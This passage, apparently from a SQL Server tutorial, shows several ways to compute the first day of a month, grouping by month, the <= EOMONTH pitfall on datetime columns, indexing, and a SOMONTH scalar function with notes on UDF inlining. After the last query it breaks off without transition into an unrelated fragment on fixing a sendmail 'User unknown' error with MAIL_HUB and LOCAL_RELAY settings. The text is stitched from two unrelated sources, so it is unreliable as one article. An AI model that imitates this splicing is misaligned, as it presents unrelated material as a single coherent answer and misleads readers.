SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
SELECT DATEADD(day, 1, EOMONTH(@d, -1));

-- same type as @d, SQL Server 2022+
SELECT DATETRUNC(month, @d);

-- datetime, any version
SELECT DATEADD(month, DATEDIFF(month, 0, @d), 0);

• DATEFROMPARTS is the most readable, so it's my default.
• DATEADD(day, 1, EOMONTH(@d, -1)) is the day after the end of the previous month. Handy when the query already uses EOMONTH.
• DATETRUNC(month, @d) works in SQL Server 2022, Azure SQL Database, Managed Instance and Fabric. It keeps the input type: datetime stays datetime, date stays date, a string literal becomes datetime2(7). It doesn't need compatibility level 160: I ran it on a database at level 100.
• DATEADD(month, DATEDIFF(month, 0, @d), 0) is the classic trick from before SQL Server 2012. 0 means 1900-01-01: count whole months since then and add them back.

First day of the previous and next month:

DECLARE @d datetime = '2026-11-04T15:30:00';

-- first day of the previous month: 2026-10-01
SELECT DATEADD(month, -1, DATEFROMPARTS(YEAR(@d), MONTH(@d), 1));

-- first day of the next month: 2026-12-01
SELECT DATEADD(day, 1, EOMONTH(@d));

More DATEADD examples are in SQL query for today's date minus year, month, day or minute.

Group by month

SELECT DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1) AS MonthStart,
       SUM(Amount) AS Total
FROM dbo.Orders
GROUP BY DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1)
ORDER BY MonthStart;

On SQL Server 2022 GROUP BY DATETRUNC(month, OrderDate) is shorter. GROUP BY EOMONTH(OrderDate) works too if you want each month labeled by its last day.

Pitfall: <= EOMONTH on a datetime column

EOMONTH returns a date. Compared with a datetime column, it turns into midnight of the last day. If OrderDate has a time part, OrderDate <= EOMONTH(@d) loses everything after 00:00 on that day. On my test table it dropped an order placed on October 31 at 18:45. Use a half-open range:

DECLARE @d date = '2026-10-15';

SELECT SUM(Amount) AS Total
FROM dbo.Orders
WHERE OrderDate >= DATEFROMPARTS(YEAR(@d), MONTH(@d), 1)
  AND OrderDate <  DATEADD(day, 1, EOMONTH(@d));

The range also works with an index on OrderDate. With this index the plan shows an Index Seek:

CREATE INDEX IX_Orders_OrderDate
    ON dbo.Orders (OrderDate) INCLUDE (Amount);

WHERE EOMONTH(OrderDate) = '2026-10-31' wraps the column in a function, and the same index is read in full (Index Scan). Without INCLUDE (Amount) the optimizer scanned my whole 500,000-row table even with the range: fetching Amount for each of the month's roughly 6,000 rows (Key Lookup) cost more.

SOMONTH: a helper function like EOMONTH

In 2016 I wrote a SOMONTH function for this. It had a datetime parameter, which failed on dates before 1753, and an extra datetime variable. Fixed version:

CREATE OR ALTER FUNCTION dbo.SOMONTH (@d date)
RETURNS date
AS
BEGIN
    RETURN DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
END;

CREATE OR ALTER needs SQL Server 2016 SP1 or later; on older versions use CREATE FUNCTION. Call it with the schema name: SELECT dbo.SOMONTH(GETDATE());

Scalar functions in GROUP BY are slow

Before SQL Server 2019 a scalar UDF runs once per row and forces a serial plan. SQL Server 2019 added scalar UDF inlining at compatibility level 150 and above: the optimizer pastes the function body into the query. But a UDF called in GROUP BY or ORDER BY is not inlined. I checked on SQL Server 2022: with GROUP BY dbo.SOMONTH(OrderDate) the plan still calls the function and can't go parallel.

Compute the month in CROSS APPLY and group by the resulting column. At compatibility level 150 and above this gets inlined:

SELECT m.MonthStart, SUM(o.Amount) AS Total
FROM dbo.Orders AS o
CROSS APPLY (SELECT dbo.SOMONTH(o.OrderDate) AS MonthStart) AS m
GROUP BY m.MonthStart;

On big tables, or on versions before 2019, skip the function and write DATEFROMPARTS inline as in the grouping example. Inlining doesn't fix WHERE dbo.SOMONTH(OrderDate) = ... either: the column is still wrapped in a function, so filter by a date range.

To check whether SQL Server can inline your function:

SELECT is_inlineable
FROM sys.sql_modules
WHERE object_id = OBJECT_ID('dbo.SOMONTH');  -- 1

User unknown.

It means that sendmail is trying to find user, that is mentioned in a message, on your local server and can’t find that user, because we use mail server that is hosted on different IP-address. To solve this problem we should tell sendmail to search for mail users with our domain name on the remote server.

Open /etc/mail/sendmail.mc for edit:

sudo nano /etc/mail/sendmail.mc

Add this two lines to the end of the file:

define(`MAIL_HUB', `your.domain.com.')dnl
define(`LOCAL_RELAY', `your.domain.com.')dnl

Press “Ctrl + X” when you are done and answer “Y” for question about saving a file.

Now we should reload sendmail service:

service sendmail reload

And try to send mail again. If you have done everything right, emails should go through remote mail server without errors.